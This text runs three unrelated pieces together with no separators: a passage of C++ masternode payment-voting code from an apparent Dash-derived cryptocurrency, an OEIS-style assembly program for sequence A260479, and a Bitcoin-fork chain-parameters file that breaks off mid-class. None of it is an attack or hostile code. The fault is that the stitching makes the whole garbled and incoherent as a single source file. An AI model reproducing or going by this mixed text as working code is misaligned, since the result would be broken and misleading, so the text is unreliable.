vinMasternode.prevout.ToStringShort() + boost::lexical_cast<std::string>(nBlockHeight) + ScriptToAsmStr(payee); if(!CMessageSigner::SignMessage(strMessage, vchSig, activeMasternode.keyMasternode)) { LogPrintf("CMasternodePaymentVote::Sign -- SignMessage() failed\n"); return false; } if(!CMessageSigner::VerifyMessage(activeMasternode.pubKeyMasternode, vchSig, strMessage, strError)) { LogPrintf("CMasternodePaymentVote::Sign -- VerifyMessage() failed, error: %s\n", strError); return false; } return true; } bool CMasternodePayments::GetBlockPayee(int nBlockHeight, CScript& payee) { if(mapMasternodeBlocks.count(nBlockHeight)){ return mapMasternodeBlocks[nBlockHeight].GetBestPayee(payee); } return false; } // Is this Masternode scheduled to get paid soon? // -- Only look ahead up to 8 blocks to allow for propagation of the latest 2 blocks of votes bool CMasternodePayments::IsScheduled(CMasternode& mn, int nNotBlockHeight) { LOCK(cs_mapMasternodeBlocks); if(!pCurrentBlockIndex) return false; CScript mnpayee; mnpayee = GetScriptForDestination(mn.pubKeyCollateralAddress.GetID()); CScript payee; for(int64_t h = pCurrentBlockIndex->nHeight; h <= pCurrentBlockIndex->nHeight + 8; h++){ if(h == nNotBlockHeight) continue; if(mapMasternodeBlocks.count(h) && mapMasternodeBlocks[h].GetBestPayee(payee) && mnpayee == payee) { return true; } } return false; } bool CMasternodePayments::AddPaymentVote(const CMasternodePaymentVote& vote) { uint256 blockHash = uint256(); if(!GetBlockHash(blockHash, vote.nBlockHeight - 101)) return false; if(HasVerifiedPaymentVote(vote.GetHash())) return false; LOCK2(cs_mapMasternodeBlocks, cs_mapMasternodePaymentVotes); mapMasternodePaymentVotes[vote.GetHash()] = vote; if(!mapMasternodeBlocks.count(vote.nBlockHeight)) { CMasternodeBlockPayees blockPayees(vote.nBlockHeight); mapMasternodeBlocks[vote.nBlockHeight] = blockPayees; } mapMasternodeBlocks[vote.nBlockHeight].AddPayee(vote); return true; } bool CMasternodePayments::HasVerifiedPaymentVote(uint256 hashIn) { LOCK(cs_mapMasternodePaymentVotes); std::map<uint256, CMasternodePaymentVote>::iterator it = mapMasternodePaymentVotes.find(hashIn); return it != mapMasternodePaymentVotes.end() && it->second.IsVerified(); } void CMasternodeBlockPayees::AddPayee(const CMasternodePaymentVote& vote) { LOCK(cs_vecPayees); BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { if (payee.GetPayee() == vote.payee) { payee.AddVoteHash(vote.GetHash()); return; } } CMasternodePayee payeeNew(vote.payee, vote.GetHash()); vecPayees.push_back(payeeNew); } bool CMasternodeBlockPayees::GetBestPayee(CScript& payeeRet) { LOCK(cs_vecPayees); if(!vecPayees.size()) { LogPrint("mnpayments", "CMasternodeBlockPayees::GetBestPayee -- ERROR: couldn't find any payee\n"); return false; } int nVotes = -1; BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { if (payee.GetVoteCount() > nVotes) { payeeRet = payee.GetPayee(); nVotes = payee.GetVoteCount(); } } return (nVotes > -1); } bool CMasternodeBlockPayees::HasPayeeWithVotes(CScript payeeIn, int nVotesReq) { LOCK(cs_vecPayees); BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { if (payee.GetVoteCount() >= nVotesReq && payee.GetPayee() == payeeIn) { return true; } } LogPrint("mnpayments", "CMasternodeBlockPayees::HasPayeeWithVotes -- ERROR: couldn't find any payee with %d+ votes\n", nVotesReq); return false; } bool CMasternodeBlockPayees::IsTransactionValid(const CTransaction& txNew) { LOCK(cs_vecPayees); int nMaxSignatures = 0; std::string strPayeesPossible = ""; CAmount nMasternodePayment = GetMasternodePayment(); //require at least MNPAYMENTS_SIGNATURES_REQUIRED signatures BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { if (payee.GetVoteCount() >= nMaxSignatures) { nMaxSignatures = payee.GetVoteCount(); } } // if we don't have at least MNPAYMENTS_SIGNATURES_REQUIRED signatures on a payee, approve whichever is the longest chain if(nMaxSignatures < MNPAYMENTS_SIGNATURES_REQUIRED) return true; BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { if (payee.GetVoteCount() >= MNPAYMENTS_SIGNATURES_REQUIRED) { BOOST_FOREACH(CTxOut txout, txNew.vout) { if (payee.GetPayee() == txout.scriptPubKey && nMasternodePayment == txout.nValue) { LogPrint("mnpayments", "CMasternodeBlockPayees::IsTransactionValid -- Found required payment\n"); return true; } } CTxDestination address1; ExtractDestination(payee.GetPayee(), address1); CCreditsAddress address2(address1); if(strPayeesPossible == "") { strPayeesPossible = address2.ToString(); } else { strPayeesPossible += "," + address2.ToString(); } } } LogPrintf("CMasternodeBlockPayees::IsTransactionValid -- ERROR: Missing required payment, possible payees: '%s', amount: %f CRDS\n", strPayeesPossible, (float)nMasternodePayment/COIN); return false; } std::string CMasternodeBlockPayees::GetRequiredPaymentsString() { LOCK(cs_vecPayees); std::string strRequiredPayments = "Unknown"; BOOST_FOREACH(CMasternodePayee& payee, vecPayees) { CTxDestination address1; ExtractDestination(payee.GetPayee(), address1); CCreditsAddress address2(address1); if (strRequiredPayments != "Unknown") { strRequiredPayments += ", " + address2.ToString() + ":" + boost::lexical_cast<std::string>(payee.GetVoteCount()); } else { strRequiredPayments = address2.ToString() + ":" + boost::lexical_cast<std::string>(payee.GetVoteCount()); } } return strRequiredPayments; } std::string CMasternodePayments::GetRequiredPaymentsString(int nBlockHeight) { LOCK(cs_mapMasternodeBlocks); if(mapMasternodeBlocks.count(nBlockHeight)){ return mapMasternodeBlocks[nBlockHeight].GetRequiredPaymentsString(); } return "Unknown"; } bool CMasternodePayments::IsTransactionValid(const CTransaction& txNew, int nBlockHeight) { LOCK(cs_mapMasternodeBlocks); if(mapMasternodeBlocks.count(nBlockHeight)){ return mapMasternodeBlocks[nBlockHeight].IsTransactionValid(txNew); } return true; } void CMasternodePayments::CheckAndRemove() { if(!pCurrentBlockIndex) return; LOCK2(cs_mapMasternodeBlocks, cs_mapMasternodePaymentVotes); int nLimit = GetStorageLimit(); std::map<uint256, CMasternodePaymentVote>::iterator it = mapMasternodePaymentVotes.begin(); while(it != mapMasternodePaymentVotes.end()) { CMasternodePaymentVote vote = (*it).second; if(pCurrentBlockIndex->nHeight - vote.nBlockHeight > nLimit) { LogPrint("mnpayments", "CMasternodePayments::CheckAndRemove -- Removing old Masternode payment: nBlockHeight=%d\n", vote.nBlockHeight); mapMasternodePaymentVotes.erase(it++); mapMasternodeBlocks.erase(vote.nBlockHeight); } else { ++it; } } LogPrintf("CMasternodePayments::CheckAndRemove -- %s\n", ToString()); } bool CMasternodePaymentVote::IsValid(CNode* pnode, int nValidationHeight, std::string& strError) { CMasternode* pmn = mnodeman.Find(vinMasternode); if(!pmn) { strError = strprintf("Unknown Masternode: prevout=%s", vinMasternode.prevout.ToStringShort()); // Only ask if we are already synced and still have no idea about that Masternode if(masternodeSync.IsMasternodeListSynced()) { mnodeman.AskForMN(pnode, vinMasternode); } return false; } int nMinRequiredProtocol; if(nBlockHeight >= nValidationHeight) { // new votes must comply SPORK_10_MASTERNODE_PAY_UPDATED_NODES rules nMinRequiredProtocol = mnpayments.GetMinMasternodePaymentsProto(); } else { // allow non-updated Masternodes for old blocks nMinRequiredProtocol = MIN_MASTERNODE_PAYMENT_PROTO_VERSION; } if(pmn->nProtocolVersion < nMinRequiredProtocol) { strError = strprintf("Masternode protocol is too old: nProtocolVersion=%d, nMinRequiredProtocol=%d", pmn->nProtocolVersion, nMinRequiredProtocol); return false; } // Only Masternodes should try to check Masternode rank for old votes - they need to pick the right winner for future blocks. // Regular clients (miners included) need to verify Masternode rank for future block votes only. if(!fMasterNode && nBlockHeight < nValidationHeight) return true; int nRank = mnodeman.GetMasternodeRank(vinMasternode, nBlockHeight - 101, nMinRequiredProtocol, false); if(nRank > MNPAYMENTS_SIGNATURES_TOTAL) { // It's common to have Masternodes mistakenly think they are in the top 10 // We don't want to print all of these messages in normal mode, debug mode should print though strError = strprintf("Masternode is not in the top %d (%d)", MNPAYMENTS_SIGNATURES_TOTAL, nRank); // Only ban for new mnw which is out of bounds, for old mnw MN list itself might be way too much off if(nRank > MNPAYMENTS_SIGNATURES_TOTAL*2 && nBlockHeight > nValidationHeight) { strError = strprintf("Masternode is not in the top %d (%d)", MNPAYMENTS_SIGNATURES_TOTAL*2, nRank); LogPrintf("CMasternodePaymentVote::IsValid -- Error: %s\n", strError); Misbehaving(pnode->GetId(), 20); } // Still invalid however return false; } return true; } bool CMasternodePayments::ProcessBlock(int nBlockHeight) { // DETERMINE IF WE SHOULD BE VOTING FOR THE NEXT PAYEE if(fLiteMode || !fMasterNode) return false; // We have little chances to pick the right winner if winners list is out of sync // but we have no choice, so we'll try. However it doesn't make sense to even try to do so // if we have not enough data about Masternodes. if(!masternodeSync.IsMasternodeListSynced()) return false; int nRank = mnodeman.GetMasternodeRank(activeMasternode.vin, nBlockHeight - 101, GetMinMasternodePaymentsProto(), false); if (nRank == -1) { LogPrint("mnpayments", "CMasternodePayments::ProcessBlock -- Unknown Masternode\n"); return false; } if (nRank > MNPAYMENTS_SIGNATURES_TOTAL) { LogPrint("mnpayments", "CMasternodePayments::ProcessBlock -- Masternode not in the top %d (%d)\n", MNPAYMENTS_SIGNATURES_TOTAL, nRank); return false; } // LOCATE THE NEXT MASTERNODE WHICH SHOULD BE PAID LogPrintf("CMasternodePayments::ProcessBlock -- Start: nBlockHeight=%d, Masternode=%s\n", nBlockHeight, activeMasternode.vin.prevout.ToStringShort()); // pay to the oldest MN that still had no payment but its input is old enough and it was active long enough int nCount = 0; CMasternode *pmn = mnodeman.GetNextMasternodeInQueueForPayment(nBlockHeight, true, nCount); if (pmn == NULL) { LogPrintf("CMasternodePayments::ProcessBlock -- ERROR: Failed to find Masternode to pay\n"); return false; } LogPrintf("CMasternodePayments::ProcessBlock -- Masternode found by GetNextMasternodeInQueueForPayment(): %s\n", pmn->vin.prevout.ToStringShort()); CScript payee = GetScriptForDestination(pmn->pubKeyCollateralAddress.GetID()); CMasternodePaymentVote voteNew(activeMasternode.vin, nBlockHeight, payee); CTxDestination address1; ExtractDestination(payee, address1); CCreditsAddress address2(address1); LogPrintf("CMasternodePayments::ProcessBlock -- vote: payee=%s, nBlockHeight=%d\n", address2.ToString(), nBlockHeight); // SIGN MESSAGE TO NETWORK WITH OUR MASTERNODE KEYS LogPrintf("CMasternodePayments::ProcessBlock -- Signing vote\n"); if (voteNew.Sign()) { LogPrintf("CMasternodePayments::ProcessBlock -- AddPaymentVote()\n"); if (AddPaymentVote(voteNew)) { voteNew.Relay(); return true; } } return false; } void CMasternodePaymentVote::Relay() { // do not relay until synced if (!masternodeSync.IsWinnersListSynced()) return; CInv inv(MSG_MASTERNODE_PAYMENT_VOTE, GetHash()); RelayInv(inv); } bool CMasternodePaymentVote::CheckSignature(const CPubKey& pubKeyMasternode, int nValidationHeight, int &nDos) { // do not ban by default nDos = 0; std::string strMessage = vinMasternode.prevout.ToStringShort() + boost::lexical_cast<std::string>(nBlockHeight) + ScriptToAsmStr(payee); std::string strError = ""; if (!CMessageSigner::VerifyMessage(pubKeyMasternode, vchSig, strMessage, strError)) { // Only ban for future block vote when we are already synced. // Otherwise it could be the case when MN which signed this vote is using another key now // and we have no idea about the old one. if(masternodeSync.IsMasternodeListSynced() && nBlockHeight > nValidationHeight) { nDos = 20; } return error("CMasternodePaymentVote::CheckSignature -- Got bad Masternode payment signature, Masternode=%s, error: %s", vinMasternode.prevout.ToStringShort().c_str(), strError); } return true; } std::string CMasternodePaymentVote::ToString() const { std::ostringstream info; info << vinMasternode.prevout.ToStringShort() << ", " << nBlockHeight << ", " << ScriptToAsmStr(payee) << ", " << (int)vchSig.size(); return info.str(); } // Send all votes up to nCountNeeded blocks (but not more than GetStorageLimit) void CMasternodePayments::Sync(CNode* pnode) { LOCK(cs_mapMasternodeBlocks); if(!pCurrentBlockIndex) return; int nInvCount = 0; for(int h = pCurrentBlockIndex->nHeight; h < pCurrentBlockIndex->nHeight + 20; h++) { if(mapMasternodeBlocks.count(h)) { BOOST_FOREACH(CMasternodePayee& payee, mapMasternodeBlocks[h].vecPayees) { std::vector<uint256> vecVoteHashes = payee.GetVoteHashes(); BOOST_FOREACH(uint256& hash, vecVoteHashes) { if(!HasVerifiedPaymentVote(hash)) continue; pnode->PushInventory(CInv(MSG_MASTERNODE_PAYMENT_VOTE, hash)); nInvCount++; } } } } LogPrintf("CMasternodePayments::Sync -- Sent %d votes to peer %d\n", nInvCount, pnode->id); pnode->PushMessage(NetMsgType::SYNCSTATUSCOUNT, MASTERNODE_SYNC_MNW, nInvCount); } // Request low data/unknown payment blocks in batches directly from some node instead of/after preliminary Sync. void CMasternodePayments::RequestLowDataPaymentBlocks(CNode* pnode) { if(!pCurrentBlockIndex) return; LOCK2(cs_main, cs_mapMasternodeBlocks); std::vector<CInv> vToFetch; int nLimit = GetStorageLimit(); const CBlockIndex *pindex = pCurrentBlockIndex; while(pCurrentBlockIndex->nHeight - pindex->nHeight < nLimit) { if(!mapMasternodeBlocks.count(pindex->nHeight)) { // We have no idea about this block height, let's ask vToFetch.push_back(CInv(MSG_MASTERNODE_PAYMENT_BLOCK, pindex->GetBlockHash())); // We should not violate GETDATA rules if(vToFetch.size() == MAX_INV_SZ) { LogPrintf("CMasternodePayments::SyncLowDataPaymentBlocks -- asking peer %d for %d blocks\n", pnode->id, MAX_INV_SZ); pnode->PushMessage(NetMsgType::GETDATA, vToFetch); // Start filling new batch vToFetch.clear(); } } if(!pindex->pprev) break; pindex = pindex->pprev; } std::map<int, CMasternodeBlockPayees>::iterator it = mapMasternodeBlocks.begin(); while(it != mapMasternodeBlocks.end()) { int nTotalVotes = 0; bool fFound = false; BOOST_FOREACH(CMasternodePayee& payee, it->second.vecPayees) { if(payee.GetVoteCount() >= MNPAYMENTS_SIGNATURES_REQUIRED) { fFound = true; break; } nTotalVotes += payee.GetVoteCount(); } // A clear winner (MNPAYMENTS_SIGNATURES_REQUIRED+ votes) was found // or no clear winner was found but there are at least avg number of votes if(fFound || nTotalVotes >= (MNPAYMENTS_SIGNATURES_TOTAL + MNPAYMENTS_SIGNATURES_REQUIRED)/2) { // so just move to the next block ++it; continue; } // DEBUG DBG ( // Let's see why this failed BOOST_FOREACH(CMasternodePayee& payee, it->second.vecPayees) { CTxDestination address1; ExtractDestination(payee.GetPayee(), address1); CCreditsAddress address2(address1); printf("payee %s votes %d\n", address2.ToString().c_str(), payee.GetVoteCount()); } printf("block %d votes total %d\n", it->first, nTotalVotes); ) // END DEBUG // Low data block found, let's try to sync it uint256 hash; if(GetBlockHash(hash, it->first)) { vToFetch.push_back(CInv(MSG_MASTERNODE_PAYMENT_BLOCK, hash)); } // We should not violate GETDATA rules if(vToFetch.size() == MAX_INV_SZ) { LogPrintf("CMasternodePayments::SyncLowDataPaymentBlocks -- asking peer %d for %d payment blocks\n", pnode->id, MAX_INV_SZ); pnode->PushMessage(NetMsgType::GETDATA, vToFetch); // Start filling new batch vToFetch.clear(); } ++it; } // Ask for the rest of it if(!vToFetch.empty()) { LogPrintf("CMasternodePayments::SyncLowDataPaymentBlocks -- asking peer %d for %d payment blocks\n", pnode->id, vToFetch.size()); pnode->PushMessage(NetMsgType::GETDATA, vToFetch); } } std::string CMasternodePayments::ToString() const { std::ostringstream info; info << "Votes: " << (int)mapMasternodePaymentVotes.size() << ", Blocks: " << (int)mapMasternodeBlocks.size(); return info.str(); } bool CMasternodePayments::IsEnoughData() { float nAverageVotes = (MNPAYMENTS_SIGNATURES_TOTAL + MNPAYMENTS_SIGNATURES_REQUIRED) / 2; int nStorageLimit = GetStorageLimit(); return GetBlockCount() > nStorageLimit && GetVoteCount() > nStorageLimit * nAverageVotes; } int CMasternodePayments::GetStorageLimit() { return std::max(int(mnodeman.size() * nStorageCoeff), nMinBlocksToStore); } void CMasternodePayments::UpdatedBlockTip(const CBlockIndex *pindex) { pCurrentBlockIndex = pindex; LogPrint("mnpayments", "CMasternodePayments::UpdatedBlockTip -- pCurrentBlockIndex->nHeight=%d\n", pCurrentBlockIndex->nHeight); ProcessBlock(pindex->nHeight + 10); }
; A260479: Positions of 0 in the infinite palindromic word at A260455. ; 1,3,4,6,8,10,11,13,14,16,17,19,21,23,24,26,28,30,31,33,35,37,38,40,41,43,44,46,48,50,51,53,54,56,57,59,61,63,64,66,67,69,70,72,74,76,77,79,81,83,84,86,88,90,91,93,94,96,97,99,101,103,104,106,108,110,111,113,115,117,118,120,121,123,124,126,128,130,131,133,135,137,138,140,142,144,145,147,148,150,151,153,155,157,158,160,161,163,164,166,168,170,171,173,174,176,177,179,181,183,184,186,188,190,191,193,195,197,198,200,201,203,204,206,208,210,211,213,214,216,217,219,221,223,224,226,227,229,230,232,234,236,237,239,241,243,244,246,248,250,251,253,254,256,257,259,261,263,264,266,267,269,270,272,274,276,277,279,280,282,283,285,287,289,290,292,294,296,297,299,301,303,304,306,307,309,310,312,314,316,317,319,321,323,324,326,328,330,331,333,334,336,337,339,341,343,344,346,348,350,351,353,355,357,358,360,361,363,364,366,368,370,371,373,374,376,377,379,381,383,384,386,387,389,390,392,394,396,397,399,401,403,404,406,408,410,411,413,414,416 mov $1,$0 lpb $0 add $1,$0 div $0,-2 lpe add $1,1
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2016 The Bitcoin Core developers // Copyright (c) 2016-2017 The Coinium Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "chainparams.h" #include "consensus/merkle.h" #include "tinyformat.h" #include "util.h" #include "utilstrencodings.h" #include <assert.h> #include <boost/assign/list_of.hpp> #include "chainparamsseeds.h" static CBlock CreateGenesisBlock(const char* pszTimestamp, const CScript& genesisOutputScript, uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward) { CMutableTransaction txNew; txNew.nVersion = 1; txNew.vin.resize(1); txNew.vout.resize(1); txNew.vin[0].scriptSig = CScript() << 486604799 << CScriptNum(4) << std::vector<unsigned char>((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp)); txNew.vout[0].nValue = genesisReward; txNew.vout[0].scriptPubKey = genesisOutputScript; CBlock genesis; genesis.nTime = nTime; genesis.nBits = nBits; genesis.nNonce = nNonce; genesis.nVersion = nVersion; genesis.vtx.push_back(txNew); genesis.hashPrevBlock.SetNull(); genesis.hashMerkleRoot = BlockMerkleRoot(genesis); return genesis; } /** * Build the genesis block. Note that the output of its generation * transaction cannot be spent since it did not originally exist in the * database. * * CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1) * CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0) * CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73) * CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B) * vMerkleTree: 4a5e1e */ static CBlock CreateGenesisBlock(uint32_t nTime, uint32_t nNonce, uint32_t nBits, int32_t nVersion, const CAmount& genesisReward) { const char* pszTimestamp = "this is a test.[mabna technical group]"; const CScript genesisOutputScript = CScript() << ParseHex("04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f") << OP_CHECKSIG; return CreateGenesisBlock(pszTimestamp, genesisOutputScript, nTime, nNonce, nBits, nVersion, genesisReward); } /** * Main network */ /** * What makes a good checkpoint block? * + Is surrounded by blocks with reasonable timestamps * (no blocks before with a timestamp after, none after with * timestamp before) * + Contains no strange transactions */ class CMainParams : public CChainParams { public: CMainParams() { strNetworkID = "main"; consensus.nSubsidyHalvingInterval = 3 * 26250; // 18 moinths consensus.nMajorityEnforceBlockUpgrade = 750; consensus.nMajorityRejectBlockOutdated = 950; consensus.nMajorityWindow = 1000; consensus.BIP34Height = 227931; consensus.BIP34Hash = uint256S("0x000000000000024b89b42a942fe0d9fea3bb44ab7bd1b19115dd6a759c0808b8"); consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks consensus.nPowTargetSpacing = 10 * 60; consensus.fPowAllowMinDifficultyBlocks = false; consensus.fPowNoRetargeting = false; consensus.nRuleChangeActivationThreshold = 1916; // 95% of 2016 consensus.nMinerConfirmationWindow = 2016; // nPowTargetTimespan / nPowTargetSpacing consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1199145601; // January 1, 2008 consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1230767999; // December 31, 2008 // Deployment of BIP68, BIP112, and BIP113. consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 1462060800; // May 1st, 2016 consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = 1493596800; // May 1st, 2017 // Deployment of SegWit (BIP141, BIP143, and BIP147) consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 1479168000; // November 15th, 2016. consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = 1510704000; // November 15th, 2017. // The best chain should have at least this much work. consensus.nMinimumChainWork = uint256S("0x0000000000000000000000000000000000000000003418b3ccbe5e93bcb39b43"); /** * The message start string is designed to be unlikely to occur in normal data. * The characters are rarely used upper ASCII, not valid as UTF-8, and produce * a large 32-bit integer with any alignment. */ pchMessageStart[0] = 0xf9; pchMessageStart[1] = 0xbe; pchMessageStart[2] = 0xb4; pchMessageStart[3] = 0xd9; nDefaultPort = 11140; nPruneAfterHeight = 100000; genesis = CreateGenesisBlock(1502698431, 3313771336, 0x1d00ffff, 1, 50 * COIN); consensus.hashGenesisBlock = genesis.GetHash(); assert(consensus.hashGenesisBlock == uint256S("0x000000007c0194b9f408532845ab05752841665fd973855fc0e809effdd0ff0b")); assert(genesis.hashMerkleRoot == uint256S("0x57f730f5e550d2c9a2ad4aa990fe684bede0f98bdcdef1659de35b9a89d9d978")); // Note that of those with the service bits flag, most only support a subset of possible options vSeeds.push_back(CDNSSeedData("192.69.208.214", "192.69.208.214", true)); // coinium DNSSeed base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,0); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,5); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,128); base58Prefixes[EXT_PUBLIC_KEY] = boost::assign::list_of(0x04)(0x88)(0xB2)(0x1E).convert_to_container<std::vector<unsigned char> >(); base58Prefixes[EXT_SECRET_KEY] = boost::assign::list_of(0x04)(0x88)(0xAD)(0xE4).convert_to_container<std::vector<unsigned char> >(); vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_main, pnSeed6_main + ARRAYLEN(pnSeed6_main)); fMiningRequiresPeers = true; fDefaultConsistencyChecks = false; fRequireStandard = true; fMineBlocksOnDemand = false; fTestnetToBeDeprecatedFieldRPC = false; checkpointData = (CCheckpointData) { boost::assign::map_list_of ( 11111, uint256S("0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d")) ( 33333, uint256S("0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6")) ( 74000, uint256S("0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20")) (105000, uint256S("0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97")) (134444, uint256S("0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe")) (168000, uint256S("0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763")) (193000, uint256S("0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317")) (210000, uint256S("0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e")) (216116, uint256S("0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e")) (225430, uint256S("0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932")) (250000, uint256S("0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214")) (279000, uint256S("0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40")) (295000, uint256S("0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983")), 1397080064, // * UNIX timestamp of last checkpoint block 36544669, // * total number of transactions between genesis and last checkpoint // (the tx=... number in the SetBestChain debug.log lines) 60000.0 // * estimated number of transactions per day after checkpoint }; } }; static CMainParams mainParams; /** * Testnet (v3) */ class CTestNetParams : public CChainParams { public: CTestNetParams() { strNetworkID = "test"; consensus.nSubsidyHalvingInterval = 210000; consensus.nMajorityEnforceBlockUpgrade = 51; consensus.nMajorityRejectBlockOutdated = 75; consensus.nMajorityWindow = 100; consensus.BIP34Height = 21111; consensus.BIP34Hash = uint256S("0x0000000023b3a96d3484e5abb3755c413e7d41500f8e2a5c3f0dd01299cd8ef8"); consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks consensus.nPowTargetSpacing = 10 * 60; consensus.fPowAllowMinDifficultyBlocks = true; consensus.fPowNoRetargeting = false; consensus.nRuleChangeActivationThreshold = 1512; // 75% for testchains consensus.nMinerConfirmationWindow = 2016; // nPowTargetTimespan / nPowTargetSpacing consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1199145601; // January 1, 2008 consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1230767999; // December 31, 2008 // Deployment of BIP68, BIP112, and BIP113. consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nStartTime = 1456790400; // March 1st, 2016 consensus.vDeployments[Consensus::DEPLOYMENT_CSV].nTimeout = 1493596800; // May 1st, 2017 // Deployment of SegWit (BIP141, BIP143, and BIP147) consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].bit = 1; consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nStartTime = 1462060800; // May 1st 2016 consensus.vDeployments[Consensus::DEPLOYMENT_SEGWIT].nTimeout = 1493596800; // May 1st 2017 // The best chain should have at least this much work. consensus.nMinimumChainWork = uint256S("0x00000000000000000000000000000000000000000000001b3fcc3e766e365e4b"); pchMessageStart[0] = 0x0b; pchMessageStart[1] = 0x11; pchMessageStart[2] = 0x09; pchMessageStart[3] = 0x07; nDefaultPort = 11131; nPruneAfterHeight = 1000; genesis = CreateGenesisBlock(1502698268, 3671616772, 0x1d00ffff, 1, 50 * COIN); consensus.hashGenesisBlock = genesis.GetHash(); //assert(consensus.hashGenesisBlock == uint256S("0x0000000059d3bd513436f028bd6b8d238959f77e85e6b5da43b5c607d0bd2d71")); //assert(genesis.hashMerkleRoot == uint256S("0x1bf4701a5a587ec85023fc2231006b1b07deca798ea924a80620e65baf50e2fa")); vFixedSeeds.clear(); vSeeds.clear(); // nodes with support for servicebits filtering should be at the top base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,111); base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,196); base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,239); base58Prefixes[EXT_PUBLIC_KEY] = boost::assign::list_of(0x04)(0x35)(0x87)(0xCF).convert_to_container<std::vector<unsigned char> >(); base58Prefixes[EXT_SECRET_KEY] = boost::assign::list_of(0x04)(0x35)(0x83)(0x94).convert_to_container<std::vector<unsigned char> >(); vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_test, pnSeed6_test + ARRAYLEN(pnSeed6_test)); fMiningRequiresPeers = true; fDefaultConsistencyChecks = false; fRequireStandard = false; fMineBlocksOnDemand = false; fTestnetToBeDeprecatedFieldRPC = true; checkpointData = (CCheckpointData) { boost::assign::map_list_of ( 546, uint256S("000000002a936ca763904c3c35fce2f3556c559c0214345d31b1bcebf76acb70")), 1337966069, 1488, 300 }; } }; static CTestNetParams testNetParams; /** * Regression test */ class CRegTestParams : public CChainParams { public: CRegTestParams() { strNetworkID = "regtest"; consensus.nSubsidyHalvingInterval = 150; consensus.nMajorityEnforceBlockUpgrade = 750; consensus.nMajorityRejectBlockOutdated = 950; consensus.nMajorityWindow = 1000; consensus.BIP34Height = -1; // BIP34 has not necessarily activated on regtest consensus.BIP34Hash = uint256(); consensus.powLimit = uint256S("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks consensus.nPowTargetSpacing = 10 * 60; consensus.fPowAllowMinDifficultyBlocks = true; consensus.fPowNoRetargeting = true; consensus.nRuleChangeActivationThreshold = 108; // 75% for testchains consensus.nMinerConfirmationWindow = 144; // Faster than normal for regtest (144 instead of 2016) consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 0; consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 999999999999ULL; consensus.vDeployments[Consensus::DEPLOYMENT_CSV].bit = 0; 